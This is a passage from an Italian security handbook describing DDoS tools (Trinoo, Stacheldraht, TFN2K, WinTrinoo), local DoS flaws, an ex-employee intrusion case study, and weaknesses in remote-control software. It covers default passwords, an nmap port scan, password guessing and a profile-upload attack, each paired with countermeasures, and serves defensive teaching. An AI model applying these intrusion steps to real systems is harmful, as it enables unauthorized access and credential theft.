Simile a TFN, Trinoo utilizza la comunicazione tra un programma di controllo remoto (client) e un master per inviare ai demoni (server) l'istruzione di attacco. La comunicazione tra il client e il master avviene sulla porta TCP 27665, e in genere richiede l'inserimento della password "betaalmostdone". La comunicazione tra il master e il server avviene sulla porta UDP 27444, mentre la comunicazione di ritorno tra il server e il master avviene in genere sulla porta UDP statica 31335.

Contromisure a Trinoo

Intercettazione

Sono disponibili un certo numero di meccanismi di intercettazione che consentono di individuare la presenza di Trinoo, tra questi ricordiamo DDOSPing di Foundstone (`http://www.foundstone.com`), Zombie Zapper del gruppo Razor di Bindview (`http://razor.bindview.com`) e find_ddos (`http://www.nipc.gov`) realizzato dal NIPC (*National Infrastructure Protection Center*).

Prevenzione

Analogamente a TFN, la migliore prevenzione consiste nell'evitare che il sistema venga manomesso seguendo i passaggi descritti nel Capitolo 7 dedicato a UNIX.
Per proteggere i sistemi dagli attacchi dei sistemi Trinoo zombi, è possibile impiegare una qualche forma di filtraggio sui router esterni (per esempio, il filtraggio ICMP per limitare gli attacchi ICMP e Smurf), gli stessi disponibili nel sistema operativo Cisco IOS 12.0, e configurare, sempre in Cisco IOS 12.0, il servizio CBAC (*Context Based Access Control*) per ridurre il rischio di attacchi SYN.

Stacheldraht

Diffusione:	*7*
Semplicità:	*5*
Impatto:	*9*
Fattore di rischio:	*7*

Stacheldraht combina le caratteristiche di Trinoo con quelle di TFN, per fornire uno strumento di distruzione ricco di funzionalità, compresa una sessione telnet cifrata tra slave e master. L'hacker è in grado di annullare l'efficacia dei sistemi di rilevazione delle intrusioni dedicati alle reti, per consentire attacchi DoS indisturbati. Analogamente a TFN, Stacheldraht è in grado di sferrare attacchi di tipo ICMP-, UDP-, SYN- e Smurf. Per le comunicazioni client/server viene utilizzata una combinazione di pacchetti TCP e ICMP (ECHO reply).
Il meccanismo di cifratura delle comunicazioni tra client e server è basato su un algoritmo a chiave simmetrica. Stacheldraht prevede anche una protezione mediante password predefinita. Una funzionalità aggiuntiva che vale la pena menzionare è la possibilità di aggiornare il componente server su richiesta, utilizzando il comando `rcp`. Per maggiori informazioni su Stacheldraht, potete consultare il saggio di Dave Dittrich disponibile all'indirizzo `http://staff.washington.edu/dittrich/misc/ddos/`.

Contromisure a Stacheldraht

Intercettazione

Tra i meccanismi di intercettazione che consentono di individuare la presenza di Stacheldraht, ricordiamo DDOSPing di Foundstone (`http://www.foundstone.com`), Zombie Zapper del gruppo Razor di Bindview (`http://razor.bindview.com`) e find_ddos (`http://www.nipc.gov`) realizzato dal NIPC (*National Infrastructure Protection Center*).

Prevenzione

Come per gli altri strumenti esaminati, la miglior difesa contro Stacheldraht è impedire che i sistemi possano essere utilizzati come zombi per attacchi DDoS. Questo significa mettere in atto tutti i passaggi descritti nel capitolo dedicato a UNIX (Capitolo 7) e che comprendono, tra gli altri, la limitazione dell'utilizzo di servizi non indispensabili, l'applicazione degli aggiornamenti e delle applicazioni software e l'impostazione delle autorizzazioni di accesso a file e directory.
Esiste un altro tipo di misura preventiva che è possibile adottare contro l'utilizzo di Stacheldraht, analoga a quella vista per TFN. Poiché le comunicazioni Stacheldraht utilizzano il protocollo ICMP, è possibile impedire il traffico ICMP in ingresso sulla rete.
Per proteggere i sistemi dagli attacchi dei sistemi Stacheldraht zombi, è possibile impiegare una qualche forma di filtraggio sui router esterni (per esempio il filtraggio ICMP per limitare gli attacchi ICMP e Smurf), gli stessi disponibili nel sistema operativo Cisco IOS 12.0, e configurare, sempre in Cisco IOS 12.0, il servizio CBAC (*Context Based Access Control*) per ridurre il rischio di attacchi SYN.

TFN2K

Diffusione:	*8*
Semplicità:	*5*
Impatto:	*9*
Fattore di rischio:	*7*

TFN2K (TFN 2000) è il successore del programma TFN originale realizzato da Mixter. L'ultimo nato nella famiglia degli strumenti DDoS è distante anni luce dalla sua versione originale. Le sue caratteristiche principali sono la trasmissione casuale sulle porte (eliminando il blocco delle porte sui router esterni come misura preventiva) e la cifratura delle trasmissioni (eliminando la possibilità di utilizzare programmi di IDS basati sulla rete come contromisura di intercettazione). Analogamente al suo predecessore, TFN2K può attaccare con SYN, UDP, ICMP e Smurf, passando casualmente da un tipo di attacco all'altro. A differenza di Stracheldraht, però, TFN2K utilizza una forma di cifratura più debole nota come codifica su base 64.
Per un'analisi dettagliata di TFN2K, potete consultare il saggio di Jason Barlow e Woody Thrower dell'AXENT Security Team, disponibile all'indirizzo `http://packetstormsecurity.net`.

Contromisure a TFN2K

Intercettazione

Tra i meccanismi di intercettazione che consentono di individuare la presenza di TFN2K, ricordiamo Zombie Zapper del gruppo Razor di Bindview (`http://razor.bindview.com`) e find_ddos (`http://www.nipc.gov`) realizzato dal NIPC (*National Infrastructure Protection Center*).

Prevenzione

Come per gli altri strumenti DDoS, la miglior difesa contro TFN2K è impedire che i sistemi possano essere utilizzati come zombi per attacchi DDoS. Questo significa

mettere in atto tutti i passaggi descritti nel Capitolo 7 dedicato a UNIX e che comprendono, tra gli altri, la limitazione dell'utilizzo di servizi non indispensabili, l'applicazione di tutti gli aggiornamenti forniti dai produttori di sistemi operativi e delle applicazioni software, e l'impostazione delle autorizzazioni di accesso a file e directory.

Per proteggere i sistemi dagli attacchi dei sistemi TFN2K zombi, è possibile impiegare una qualche forma di filtraggio sui router esterni (per esempio il filtraggio ICMP per limitare gli attacchi ICMP e Smurf), gli stessi disponibili nel sistema operativo Cisco IOS 12.0, e configurare, sempre in Cisco IOS 12.0, il servizio CBAC (*Context Based Access Control*) per ridurre il rischio di attacchi SYN.

WinTrinoo

Diffusione:	*5*
Semplicità:	*5*
Impatto:	*9*
Fattore di rischio:	*6*

WinTrinoo è stato presentato al pubblico per la prima volta dal gruppo Razor di Bind-view. WinTrinoo è la versione Windows di Trinoo e dispone di tutte le funzionalità del suo parente stretto. Lo strumento assume le sembianze di un trojan denominato in genere service.exe (se non è stato rinominato) che occupa 23.145 byte. Una volta avviato l'eseguibile, viene aggiunto un valore alla chiave `Run` del Registro di configurazione di Windows, in modo che il programma sia fatto partire a ogni avvio del sistema:

```
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run
System Services: REG_SZ: service.exe
```

Prestate attenzione a non confondere il file service.exe di WinTrinoo con il file services.exe.

Ovviamente il Registro di configurazione viene modificato solo se, nel percorso del sistema target, è presente il file service.exe. WinTrinoo ascolta sulla porta TCP e UDP 34555.

Contromisure a WinTrinoo

Per individuare WinTrinoo, è possibile perlustrare la rete alla ricerca di una porta TCP o UDP 34555 aperta oppure di un file service.exe (sebbene possa essere stato rinominato) di 23.145 byte. Oltre a questa tecnica manuale, è possibile adottare un programma antivirus, come Norton Antivirus di Symantec, che mette automaticamente il file in quarantena prima che venga eseguito.

Attacchi DoS locali

Anche se sono gli attacchi DoS remoti a comparire sui giornali, quelli locali possono essere altrettanto devastanti. Sono molti i sistemi multiutente oggetto di attacchi DoS non autorizzati, lanciati da utenti autorizzati. La maggior parte degli attacchi DoS locali consuma le risorse del sistema o sfrutta i difetti dei programmi per negare l'accesso agli utenti legittimi. Nonostante esistano centinaia di attacchi DoS

locali per sistemi UNIX e Windows, ci limiteremo a illustrare un attacco con esaurimento di risorse per Windows e uno di sfruttamento di un difetto di programmazione per UNIX.

Terminal Server e proquota.exe in Windows NT 4.0

Diffusione:	*2*
Semplicità:	*4*
Impatto:	*7*
Fattore di rischio:	*4*

Un classico esempio di attacco con esaurimento delle risorse (*resource starvation*) consiste nell'utilizzo dello spazio disponibile su disco al di là dei limiti consentiti. La funzionalità di ripartizione del disco in quote si è affermata ormai da tempo nel mondo UNIX, ma è relativamente recente per Windows NT. Con Windows NT Terminal Server Edition - SP4, un normale utente è in grado di sfruttare tale funzionalità per riempire *%systemdrive%*. Il risultato è l'impossibilità di accedere al sistema da parte di tutti gli utenti che non dispongano di una copia locale del proprio profilo. In questo attacco DoS, agli utenti non dovrebbe essere consentito disconnettersi se hanno superato la propria quota di spazio su disco. Tuttavia, l'utente può terminare il processo proquota.exe per aggirare questa restrizione e scollegarsi. Questo è possibile perché l'owner del processo proquota.exe è l'utente, mentre dovrebbe essere l'account di sistema.

Contromisure per Terminal Server e proquota.exe

È buona norma conservare i file di sistema e i dati utente su due partizioni distinte e questo esempio ne è la prova. *%systemdrive%* dovrebbe trovarsi su una partizione diversa rispetto ai file accessibili all'utente. Inoltre, sarebbe bene posizionare i profili su una partizione non avviabile e utilizzarli solo quando necessario.

Kernel panic

Diffusione:	*2*
Semplicità:	*1*
Impatto:	*7*
Fattore di rischio:	*3*

Il kernel di Linux versione 2.2.0 presentava una potenziale condizione DoS se ldd, un programma utilizzato per stampare le dipendenze dalle librerie condivise, fosse stato utilizzato per esaminare alcuni file critici. Il problema era legato alla chiamata alla funzione `munmap()` utilizzata in ldd: in particolari condizioni, `munmap()` riusciva a sovrascrivere aree critiche della memoria del kernel, causando il panico nel sistema e conseguentemente riavviando la macchina. Questo problema non è assolutamente grave, ma serve a dimostrare il concetto fondamentale alla base degli attacchi DoS: nella maggior parte dei casi, un utente senza diritti può sfruttare un difetto di programmazione per corrompere aree di memoria critiche utilizzate dal kernel. Il risultato è quasi sempre una situazione di Kernel panic.

Contromisure al Kernel panic

La patch del kernel per la risoluzione di questo problema è stata successivamente incorporata nella versione 2.2.1. Le possibilità di intervenire attivamente per assicurarsi che il sistema operativo e i componenti collegati non risentano di difetti di programmazione sono piuttosto scarse, se il codice sorgente è privato. Tuttavia, in molte versioni free di UNIX, è possibile controllare il codice sorgente alla ricerca di difetti di programmazione o altri problemi legati alla sicurezza.

Parte IV

Hacking del software

Caso di studio: la vendetta di un ex dipendente

Restava un ultimo server. Anche in questo caso, come negli altri quattro, si trattava di un server Web IIS. Il server in questione ospitava il database dell'assistenza tecnica online della società, che era protetto mediante autenticazione HTTP Basic dalla pagina root del server Web. Gli ultimi quattro server sembravano pronti per essere colti come frutti maturi, ma, dopo una serie di attacchi falliti, Jared iniziò a pensare che questa fosse una rete che non sarebbe riuscito a compromettere. Questi server erano stati rinforzati con le patch più recenti: gli addetti alla sicurezza avevano previsto la possibilità che un intruso giocasse qualche scherzo. Egli aveva un vantaggio in questo caso: conosceva bene la loro rete. L'estate del suo terzo anno di studi aveva fatto uno stage in questa azienda e alla fine dell'estate era stato assunto part-time come ingegnere di rete junior. Questo lavoro gli era piaciuto, ma poi era stato licenziato in seguito alla scoperta del server FTP che aveva creato nella sottorete. Il server non c'era più, ma le macchine di produzione erano ancora disponibili e Jared era risoluto a cambiare questo stato di cose.
Tuttavia, dopo le sue dimissioni, gli amministratori di sistema si erano impegnati. Jared sapeva per certo che il server Web dell'azienda era stato affetto dalla vulnerabilità della divulgazione del codice sorgente "translate: f"; tuttavia, in seguito alle sue dimissioni questa vulnerabilità era stata risolta con opportune patch. Mentre il suo script di attacco IIS continuava a martellare il sito Web dell'assistenza tecnica, Jared si sforzò di pensare a un punto vulnerabile che potesse essere sfuggito agli amministratori. Improvvisamente, si rammentò di un avviso che aveva letto qualche giorno prima e pensò al server SQL.
Meno di due settimane prima, Microsoft aveva rilasciato un hotfix destinato a risolvere un problema relativo al servizio di risoluzione di SQL Server, che veniva eseguito sulla porta 1434/UDP. Dopo qualche rapida ricerca su Google e una visita a IRC, Jared disponeva del codice di attacco e di idee precise su come utilizzarlo. C'era solo un'altra domanda cui rispondere: avrebbe potuto accedere alla 1434/UDP su uno qualsiasi dei sistemi? Per ridurre al minimo l'emissione di avvisi da parte dell'IDS, Jared aveva limitato la sua precedente scansione delle porte alla 80/TCP e alla 443/TCP; ora eseguì una scansione sulla rete limitandosi alla porta 1434/UDP. Per rendere la cosa più interessante, Jared configurò la scansione delle porte in modo tale da utilizzare una porta di origine 53/UDP, per convincere il firewall che il computer di Jared era un server DNS che rispondeva a una richiesta.
La scansione delle porte restituì immediatamente una risposta sul server Web. SQL veniva eseguito a livello locale sul server Web! Jared attivò l'attacco SQL sul server Web e si fregò le mani per la soddisfazione. Era stata scavalcata la linea di difesa principale, quindi egli era ormai in grado di scorrazzare sull'intera rete dell'azienda. A questo punto gli restava unicamente da individuare il server utilizzato per il calcolo delle retribuzioni dei dipendenti.

Capitolo 13

Controllo remoto

Il prezzo di un'economia interconnessa a livello mondiale è rappresentato dalla necessità di gestirla globalmente. Il personale dell'assistenza non è sempre a disposizione per intervenire direttamente dove c'è un computer guasto e risolvere i problemi. La soluzione esiste: il software per controllo remoto.

Programmi come pcAnywhere, ControlIT, ReachOut, Timbuktu e VCN sono stati una specie di grazia divina per gli amministratori, perché hanno consentito loro di saltare in modo virtuale da una macchina all'altra per risolvere problemi o aiutare gli utenti in qualche attività. Sfortunatamente, però, questi pacchetti software sono spesso configurati in modo errato o pieni di problemi di sicurezza. Questo consente agli hacker di accedere a un sistema e scaricare dati riservati o, peggio ancora, servirsi di quel computer per attaccare l'intera azienda, facendo apparire un dipendente come responsabile dell'attacco.

In questo capitolo illustreremo le tecniche impiegate dagli hacker per trovare questi sistemi sulla rete (per maggiori informazioni sul controllo remoto via telefono vi rimandiamo al Capitolo 8), le modalità di sfruttamento degli errori di configurazione e dei varchi nella sicurezza e le attività necessarie per chiudere una volta per tutte queste falle.

Alla ricerca dei software di controllo remoto

Tutti i prodotti dedicati alla rete restano in attesa di connessioni aprendo specifiche porte sulla macchina host. Il numero e il tipo delle porte dipende unicamente dal software. Utilizzando un programma di scansione delle porte è possibile trovare tutti i computer all'interno di una rete su cui sia in esecuzione un sistema di controllo remoto. Sarete sorpresi di scoprire quanti utenti abbiano installato software di questo tipo non autorizzati o supportati.

La Tabella 13.1 riporta un elenco di prodotti per il controllo remoto e delle relative porte di ascolto predefinite. Si tratta solo di dati indicativi, in quanto, come specificato nella tabella, molti dei prodotti consentono l'utilizzo di qualsiasi porta libera.

Ricordate che per riuscire a utilizzare le nuove porte è necessario modificare i riferimenti tanto sul PC host che su quello chiamante. Modificando i valori su un solo lato della connessione, questa avverrà per default sulla porta TCP 65301. Per eseguire una scansione delle porte da una macchina Windows, consigliamo uno qualsiasi degli strumenti di cui vi abbiamo parlato nel Capitolo 2, come NetScanTools Pro 2000, SuperScan, WinScan, ipEye o WUPS. Inoltre vi consigliamo di esaminare

Tabella 13.1 I programmi per il controllo remoto che possono essere riconosciuti con una scansione delle porte

Software	TCP	UDP	Porte alternative
Citrix ICA	1494	1494	Ignote
pcAnywhere	22, 5631, 5632, 65301	22, 5632	Sì*
ReachOut	43188	Nessuna	No
Remotely Anywhere	2000, 2001	Nessuna	Sì
Remotely Possible/ControlIT	799, 800	800	Sì
Timbuktu	407	407	No
VNC	5800, 5801..., 5900, 5901..	Nessuna	Sì
Windows Terminal Services	3380	Nessuna	No
RAdmin	4899	Nessuna	Sì

* Anche pcAnywhere prevede l'utilizzo di porte diverse da quelle predefinite, per i canali Data (5631) e Status (5632), ma l'opzione per impostare questi valori non è presente nel programma di configurazione: per modificare queste porte è necessario utilizzare REGEDT32.EXE e intervenire sui seguenti valori:
HKLM\SOFTWARE\SYMANTEC\PCANYWHERE\CURRENTVERSION\SYSTEM\TCPIPDATAPORT
HKLM\SOFTWARE\SYMANTEC\PCANYWHERE\CURRENTVERSION\SYSTEM\TCPIPSTATUSPORT

ScanLine di Foundstone disponibile all'indirizzo `http://www.foundstone.com/knowledge/free_tools.html`. Sono tutti strumenti veloci, flessibili e affidabili che consentono di identificare le porte di ascolto dei servizi per il controllo remoto.
Per effettuare una scansione da una macchina Linux, potete utilizzare il caro vecchio `nmap` (`http://www.insecure.org/nmap`), che permette di riconoscere tutti i software presenti su una subnet:

```
nmap -sS -p 407,799,1494,2000,3389,4899,5631,5800,43188 -n 192.168.10.0/24
```

Come sempre, consigliamo di utilizzare uno script (come la procedura Perl disponibile sul sito Web `www.hackingexposed.com`) per effettuare scansioni ad ampio raggio su diverse reti alla ricerca di sistemi "indisciplinati".

Connessione

Una volta identificate nei client e server della vostra rete le porte per il controllo remoto, l'hacker cercherà con ogni probabilità di collegarsi. Al termine di un'installazione standard, la quasi totalità delle applicazioni di controllo remoto resta a completa disposizione di chiunque tenti di collegarsi, senza neanche richiedere nome utente o password (e gli hacker adorano questa dimenticanza).
L'unico modo per verificare se un utente abbia protetto con una password un certo pacchetto software è provare a collegarsi manualmente utilizzando il software adatto. Non ci risultano particolari script in grado di eseguire correttamente test di connessione. Se sulla vostra rete trovate un sistema su cui risulta installato un particolare tipo di applicazione di controllo remoto (per esempio, Timbuktu o ControlIT) e non avete licenze d'uso per quel programma, non preoccupatevi: potete sempre scaricarne una versione completamente funzionante dal Web. Su Internet sono infatti disponibili versioni demo o di prova dei principali prodotti di controllo remoto. Installate il software e provate a collegarvi a ciascuno di questi sistemi. Sapete quanti utenti lasciano la

password non impostata? Se non vi viene richiesto un nome utente, la schermata del sistema remoto si presenterà sul vostro schermo come un bel regalo di Natale.
Se questo semplice tentativo non è sufficiente a farvi entrare, potete provare a enumerare gli utenti del sistema (Capitolo 3) e verificarli uno a uno. Molte applicazioni per controllo remoto si appoggiano ai meccanismi di autenticazione interni di NT per i nomi utente e le password. Una volta ottenuti i nomi utente definiti sul sistema, potrete tornare a collegarvi al sistema remoto e provare gli utenti uno a uno, senza fornire una password o inserendo quelle tipiche, come, "*nome_utente1*", "password", "admin", "secret", "<*nome_società*>" e così via. Se restate ancora a mani vuote, potete tirare un sospiro di sollievo: se non altro il sistema è stato adeguatamente protetto con una password. Dato che la procedura di autenticazione nativa di Windows è trasparente all'utente, prima di avviare test di questo tipo assicuratevi di non aver effettuato l'accesso a nessun dominio.

Punti deboli

L'abbiamo già ripetuto diverse volte: la sicurezza della vostra rete è data da quella del suo anello più debole. Nel caso del software per controllo remoto non potrebbe esserci affermazione più esatta. Una volta manomesso un host (come abbiamo visto nel Capitolo 5), l'hacker può sfruttare una serie di punti deboli per rientrare successivamente in tutta legittimità. Per esempio, alcuni dei prodotti più datati non proteggono nomi utente e password con la cifratura, consentendo agli intrusi di estrarre queste informazioni dai file, dalle stesse schermate, o, peggio ancora, dal cavo di rete. L'unico modo sicuro per verificare se i vostri prodotti siano vulnerabili è quello di metterli alla prova voi stessi.
Tutti i programmi per controllo remoto presentano qualche falla nella sicurezza, quindi sarebbe bene controllare tutte le possibilità. Ecco alcuni problemi noti.

- Nomi utente e password in chiaro.
- Password mascherate (utilizzando algoritmi di cifratura deboli, come la sostituzione).
- Password rivelate (intercettate sull'interfaccia utente da remoto o copiando il file in locale).
- Upload di profili utente.

Nomi utente e password in chiaro

Diffusione:	*6*
Semplicità:	*8*
Impatto:	*10*
Fattore di rischio:	*8*

Remotely Possible 4.0 di Computer Associates non prevedeva alcun meccanismo di sicurezza per la memorizzazione di nomi utente e password. Come si può vedere nella Figura 13.1, il file *\PROGRAMMI\AVALAN\REMOTELY POSSIBLE\MAIN.SAB* contiene sia i nomi utente sia le password in chiaro, il che corrisponde a offrire la possibilità di entrare al primo venuto.
Dopo questa scoperta, Computer Associates ha pubblicato un aggiornamento che realizza un certo livello di cifratura. La patch, e la nuova versione del prodotto di

```
UltraEdit-32 - [C:\Mine\exposed\Section4\Ch12 - remote control\MAIN.SAB]
File Edit Search Project View Format Column Macro Advanced Window Help
MAIN.SAB
00000000h: 01 00 FF FF 01 00 08 00 43 41 64 64 72 65 73 73 ; ▮.ÿÿ....CAddress
00000010h: FF FE FF 04 74 00 65 00 73 00 74 00 FF FE FF 08 ; ÿþÿ.t.e.s.t.ÿþÿ.
00000020h: 31 00 30 00 2E 00 31 00 2E 00 31 00 2E 00 31 00 ; 1.0...1...1...1.
00000030h: FF FE FF 04 54 00 45 00 53 00 54 00 FF FE FF 06 ; ÿþÿ.T.E.S.T.ÿþÿ.
00000040h: 61 00 62 00 63 00 61 00 62 00 63 00 FF FE FF 00 ; a.b.c.a.b.c.ÿþÿ.
00000050h: FF FE FF 00                                     ; ÿþÿ.
For Help, pres Pos: 0H, 0   DOS   Mod: 3/11/99 12:04:40PM   File Size: 84   INS
```

Figura 13.1

Come dimostra il nostro editor di testo, Remotely Possible 4.0 memorizzava sia i nomi utente sia le password in chiaro. Nel file si vede che all'utente "TEST" è associata la password "abcabc".

CA ControlIT 4.5, dovrebbe cifrare le password nel file MAIN.SAB. Ma siamo sicuri che lo faccia?

Password mascherate

Diffusione:	*6*
Semplicità:	*6*
Impatto:	*10*
Fattore di rischio:	*7*

ControlIT 4.5, la versione successiva di Remotely Possible 4.0, doveva essere un aggiornamento della versione precedente, che memorizzava nomi utente e password in chiaro. Purtroppo, invece di implementare una vera e propria cifratura delle password, è stato scelto un semplice algoritmo di sostituzione per le sole password. Per esempio, la password "abcdabcd" diventerebbe:

```
p l x d p l x d
```

Sapendo questo, è possibile ricostruire la mappa dell'intero alfabeto e decifrare qualsiasi password istantaneamente. Con il nome utente ancora in chiaro, mettere le mani sul tesoro sarebbe davvero un gioco da ragazzi.

Password rivelate

Diffusione:	*9*
Semplicità:	*9*
Impatto:	*10*
Fattore di rischio:	*9*

Revelation, di SnadBoy Software (`http://www.snadboy.com`), è uno degli strumenti di sicurezza di cui è impossibile fare a meno. Questo minuscolo eseguibile (14 K) è in grado di rivelare le password conservate in memoria dai principali programmi di controllo remoto. Vi risulterà certo familiare il campo utilizzato per le password, quello in cui

ogni carattere digitato si presenta come un asterisco. Ebbene, questo campo si limita a nascondere la password, senza effettivamente cifrarla. Molte applicazioni risultano vulnerabili su questo punto, comprese pcAnywhere (senza la patch), VNC e Remotely Possible/ControlIT. Revelation è in grado di "rivelare" la password nascosta dietro gli asterischi semplicemente trascinando l'oggetto *Revelation* sul campo della password.
D'altra parte, ReachOut, Remotely Anywhere, Timbuktu e la versione corretta di pcAnywhere non sono esposte a questo tipo di attacco: ReachOut e Remotely Anywhere perché si appoggiano allo User Manager di NT per gestire gli account; Timbuktu (si veda la figura seguente) perché per la password si serve di meccanismi più sicuri, per cui Revelation riesce solo a leggere caratteri senza senso.

Upload dei profili utente

Diffusione:	*5*
Semplicità:	*5*
Impatto:	*10*
Fattore di rischio:	*7*

Una volta che sia riuscito a penetrare in un sistema NT e a conquistare il controllo amministrativo con altri mezzi, l'hacker può caricare i propri profili utente (per esempio, file .CIF o MAIN.SAB) e ottenere automaticamente l'accesso al sistema con la propria password. Sia pcAnywhere sia Remotely Possible 4.0 risultano esposti a questo attacco. Per ottenere questo risultato, l'intruso adotta la procedura seguente.

1. Crea un profilo di connessione utilizzando la vostra copia di pcAnywhere o Remotely Possible.
2. Identifica e copia questo nuovo profilo nella directory *\DATA* o *\AVALAN\REMOTELY POSSIBLE* del sistema target.
3. Si serve di pcAnywhere o Remotely Possible 4.0 per collegarsi al sistema, utilizzando il proprio account per ottenere l'accesso.

Se il software che utilizzate prevede file distinti per conservare le autorizzazioni di connessione, con ogni probabilità il vostro prodotto risulta vulnerabile a questo tipo di attacco. Potete sperimentarlo voi stessi.

Contromisure per il software di accesso remoto

Esistono diversi possibili rimedi per i problemi di sicurezza descritti finora. Questi accorgimenti contribuiranno notevolmente a rendere più robusta la vostra installazione.

Attivazione delle password

Per quanto evidente e intuitivo per la maggior parte degli amministratori, il semplice accorgimento di obbligare alla definizione di nomi utente e password sulle macchine remote non è sempre adottato. D'altra parte gli stessi produttori non sono sempre diligenti e lasciano agli amministratori la responsabilità di attivare questa protezione. Come potete notare nel caso di pcAnywhere (Figura 13.2), lo schema di autenticazione predefinito è un po' troppo elastico: per rimediare a questa situazione è sufficiente selezionare l'opzione *Specify Individual Caller Privileges.*

NETWORK Properties

Connection Info | Settings | Callers | Security Options | Conference | Protect Item

Allow full access to all callers
Specify individual caller privileges
Use NT user privileges
NT User Manager

Add Caller

OK | Cancel | Apply | Help

Figura 13.2
L'autenticazione di default di pcAnywhere 8.0 è impostata a Allow full access to all callers.

Utilizzo di password "forti"

Alcune applicazioni, tra cui pcAnywhere, permettono di specificare meccanismi più robusti di definizione della password, come il riconoscimento di maiuscole e minuscole. Per attivare questa funzionalità in pcAnywhere, selezionate le proprietà della voce *Network*, quindi aprite la scheda *Security Options* e attivate la casella *Make*

passwords case sensitive. Come si può notare nella Figura 13.3, le opzioni per il login di default non prevedono il riconoscimento di maiuscole e minuscole.

Figura 13.3
Una delle tante funzionalità di protezione offerte da pcAnywhere, il riconoscimento di maiuscole e minuscole nelle password (Make passwords case sensitive): assicuratevi che sia attivata.

Timbuktu prevede un analogo meccanismo di protezione delle password, sotto forma di vincolo sul riutilizzo delle password, sul numero di caratteri e sulla durata delle password, come si vede nella figura seguente.

Forzatura di metodi di autenticazione alternativi

La maggior parte delle applicazioni prevede una forma alternativa di autenticazione, oltre a quella nativa di NT. Tuttavia, normalmente questa è disattivata di default. Questo rimedio, che sicuramente può essere fastidioso perché impone di mantenere due insiemi di nomi utente e password, può essere decisivo per ostacolare gli intrusi.

Il meccanismo di autenticazione predefinito per RAdmin, Remotely Possible e ControlIT è diverso da quello di NT, ma Timbuktu, ReachOut e Remotely Possible utilizzano di default solo l'autenticazione NT. Il problema dell'autenticazione NT è che una volta che il sistema è compromesso, l'intruso ha a disposizione le password di tutti gli utenti che utilizzano il sistema di controllo remoto. In una procedura di autenticazione non Windows la complessità delle password, il blocco degli account, l'amministrazione a livello del dominio, la pianificazione del cambio delle password e le politiche per il loro riutilizzo sono completamente diverse dall'autenticazione Windows. Per sfruttare al meglio entrambe queste caratteristiche, perciò, è consigliabile servirsi di un programma di controllo remoto dotato di una propria procedura di autenticazione, al quale associare un tempo di inattività molto breve per effettuare il blocco dello schermo. In questo modo l'utente remoto (o l'hacker, secondo i casi) dovrà fornire due diverse credenziali, per poter accedere al sistema.

Protezione con password dei file dei profili e di configurazione

Sia Timbuktu sia pcAnywhere prevedono ulteriori forme di protezione delle password che sarebbe opportuno utilizzare, se possibile. PcAnywhere permette di proteggere con una password i profili per le chiamate sia in uscita sia in ingresso. In questo modo si impedisce a chiunque di leggere le password mascherate. PcAnywhere permette anche di impostare una password per i profili (aumentando il livello di sicurezza) utilizzando la scheda *Protect Item* all'interno della finestra *Network Properties*.
Oltre alle possibilità offerte da pcAnywhere, Timbuktu consente di limitare l'accesso alle preferenze di protezione.

Disconnessione dell'utente al termine della chiamata

Remotely Possible/ControlIT, pcAnywhere e ReachOut prevedono un'opzione che permette di scollegare l'utente al termine della chiamata. Si tratta di un aspetto non

irrilevante perché, se al termine della connessione l'amministratore si dimentica di scollegarsi, l'autore della chiamata successiva ottiene i privilegi di amministrazione, che consentono di accedere a server e dati critici. Nel caso di ReachOut si procede nel modo seguente.

1. Selezionate il menu *Security*.
2. Selezionate la scheda *Disconnect*, quindi attivate l'opzione *Log The Current User Off This Computer*.

Scollegare gli utenti dal sistema al termine della connessione impedisce che un hacker possa collegarsi al sistema utilizzando le autorizzazioni dell'utente precedente.

Cifratura del traffico della sessione

Con le versioni più vecchie della maggior parte dei sistemi di controllo remoto, era possibile leggere direttamente dal cavo i nomi utente e le password, o decifrarli con estrema facilità. Assicuratevi di utilizzare il massimo livello di cifratura previsto dal vostro software. Il miglior metodo per verificare questo aspetto è un buon analizzatore di pacchetti con funzionalità di decodifica, come SnifferPro di Network Associates (`http://www.nai.com`). L'inadeguatezza di molti prodotti dal punto di vista della cifratura non mancherà di stupirvi. Quando selezionate un'applicazione di controllo remoto assicuratevi che siano abilitate sia l'autenticazione delle password sia la cifratura del traffico.

Limitazione del numero di tentativi di connessione

La maggior parte delle applicazioni permette di limitare il numero di tentativi di connessione consentiti a una persona prima di essere buttata fuori. È un fattore importante, perché risulta frustrante per l'intruso e lo spinge a cercare sistemi più deboli, o almeno aumenta le probabilità di intercettare i tentativi di intrusione e risalire ai responsabili. Vi consigliamo un massimo di tre tentativi prima di scollegare l'utente.

Registrazione dei tentativi falliti

Tramite il registro degli eventi di NT o un file proprietario, il vostro sistema di controllo remoto dovrebbe registrare i tentativi di connessione andati a buon fine e non. Questo può rivelarsi fondamentale per intercettare e identificare gli intrusi.

Esclusione degli utenti non autenticati

Questa è probabilmente una delle funzionalità di protezione più importanti applicabili, ma sfortunatamente sono pochissime le applicazioni di controllo remoto a prevederla. Tra quelle che abbiamo testato, ReachOut di Stac Electronics è l'unica a offrire quello che viene definito IntruderGuard. Per attivare questa importante funzionalità si procede nel modo seguente.

1. Aprite il menu *Security*.
2. Nella scheda *Connect*, selezionate *Trip IntruderGuard* sotto *User Lockout*, quindi impostate un numero ragionevole di tentativi. Vi consigliamo di permettere tre tentativi prima di buttare fuori l'utente.

Modifica della porta di ascolto predefinita

Molte persone non considerano questo accorgimento una vera e propria soluzione, perché applica il paradigma della "sicurezza nell'ignoranza", intrinsecamente para-

dossale. Ma in anni di lavoro sulla sicurezza abbiamo imparato ad apprezzare la regola del "di tutto un po'". In altre parole, è necessario adottare tutti i possibili rimedi per la protezione: certamente non rende inespugnabile il sistema, ma se non altro scoraggia gli intrusi improvvisati dal proseguire.

Virtual Network Computing (VNC)

Virtual Network Computing è nato nei laboratori AT&T Research di Cambridge, in Gran Bretagna, ed è disponibile al sito `http://www.realvnc.com/`. VNC offre molte funzionalità uniche nel suo genere. Per prima cosa, la compatibilità inter-piattaforma: il prodotto può essere installato in desktop Windows, Linux e Solaris e utilizzato da macchine Windows, Linux, Solaris, Macintosh e persino dispositivi Windows CE. VNC prevede anche un'interfaccia Java utilizzabile da qualsiasi browser con supporto Java, come Netscape Communicator o Microsoft Internet Explorer. Ma l'aspetto più entusiasmante è che VNC è gratuito!

